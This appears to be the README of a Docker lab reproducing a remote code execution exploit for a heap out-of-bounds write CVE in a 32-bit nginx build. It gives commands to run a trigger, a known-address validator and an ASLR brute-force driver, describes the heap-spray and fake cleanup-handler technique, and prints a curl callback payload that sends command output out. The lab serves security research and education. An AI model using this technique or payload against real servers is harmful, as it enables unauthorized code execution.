
CVE-2026-42945 nginx 32-bit exploit lab ASLR enabled
This repository is a reproducible Docker lab for studying CVE-2026-42945 in nginx 1.30.0. It contains a vulnerable 32-bit target, a primitive trigger, a lab-assisted known-address RCE validator, and a no-introspection brute-force driver.
The proof boundary matters:
exploit/trigger_oob.py demonstrates the heap OOB write primitive.exploit/lab_known_address.py proves the RCE mechanism in Docker, but it is
lab-assisted because it reads /proc/<pid>/maps through docker exec.exploit/remote_bruteforce.py does not use SSH, Docker, /proc, ptrace, or
known addresses. It brute-forces SAFE heap-page and libc-page candidates and
treats the outbound callback as the only success signal.The remote brute-force path still depends on the current nginx master ASLR layout. If the spray address is not representable by the required URI-safe byte alphabet, a full pass will fail until the nginx master process is restarted or reloaded and ASLR is rerolled. Like the known-address validator, the full RCE path should be run on a native x86 Linux Docker host rather than a QEMU-emulated Docker Desktop target.
/proc/<pid>/maps exposes the nginx worker's real 32-bit address
layout. Docker Desktop on non-x86 hosts may run the target under qemu-i386;
that is enough to validate the OOB crash, but not the known-address RCE math.Build and start the vulnerable 32-bit nginx lab:
docker compose up -d --build
curl http://127.0.0.1:19331/
Trigger the controlled OOB write:
python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20
Run the deterministic Docker-only RCE validator:
python3 exploit/lab_known_address.py --restart-until-safe
Run the no-introspection brute-force driver:
python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
--shuffle --seed 42945 \
--attempt-delay 0.02 \
--batch-size 5000 --batch-cooldown 10 \
--progress-every 1000
host.docker.internal is used as the callback host so the command embedded in
the nginx worker can POST the id output back to the listener started by the
exploit script. The Compose file maps this name for Linux Docker engines.

The Compose target builds nginx 1.30.0 as a 32-bit release-style binary and
starts it on 127.0.0.1:19331. A plain GET / returns ok, proving the target
is reachable before exploitation starts.

The trigger sends a captured URI segment made of + bytes through the
vulnerable rewrite plus set $myvar $1 path. + is escaped by
NGX_ESCAPE_ARGS, so the copy pass writes three bytes for each one-byte input.
The script prints the expected overflow size before sending the request.

The known-address validator is intentionally assisted. It reads the live worker
heap and libc mappings from the Docker container, computes the fake cleanup
handler address, sends the same wire-level exploit sequence, and waits for the
callback. The uid=65534(nobody) output is the nginx worker executing id.
This screenshot is from a native x86 Docker run; on non-x86 Docker Desktop
setups the script may stop with a qemu-i386 native-host requirement instead.

The remote brute-force script removes the lab-only address reads. It enumerates SAFE heap-page candidates and libc-page candidates and uses only the callback as the success oracle. Exhausting a pass without a callback does not disprove the primitive; it usually means the current nginx master layout is not favorable for this payload alphabet, or the pass needs a master restart/reload to reroll ASLR.
The exploit uses three concurrent request roles:
/spray keeps a request body allocation alive and places a fake
ngx_pool_cleanup_t record plus the callback command in nginx worker heap
memory./api/<payload> reaches the vulnerable rewrite script and delays the final
request terminator until the victim request is in place./ creates the adjacent request pool whose cleanup pointer is targeted by
the controlled OOB write.When the corrupted request pool is destroyed, nginx follows the overwritten
cleanup pointer. In the lab RCE path, the fake cleanup handler points to
system() and its data pointer points to:
id|curl -sm3 -d @- http://host.docker.internal:9876/rce
The exploit listener treats that POST as the only RCE success signal.
docker compose down
This lab is for authorized security validation and education. Keep it isolated, do not expose the lab port to untrusted networks, and do not run the exploit against systems you do not own or have explicit permission to test.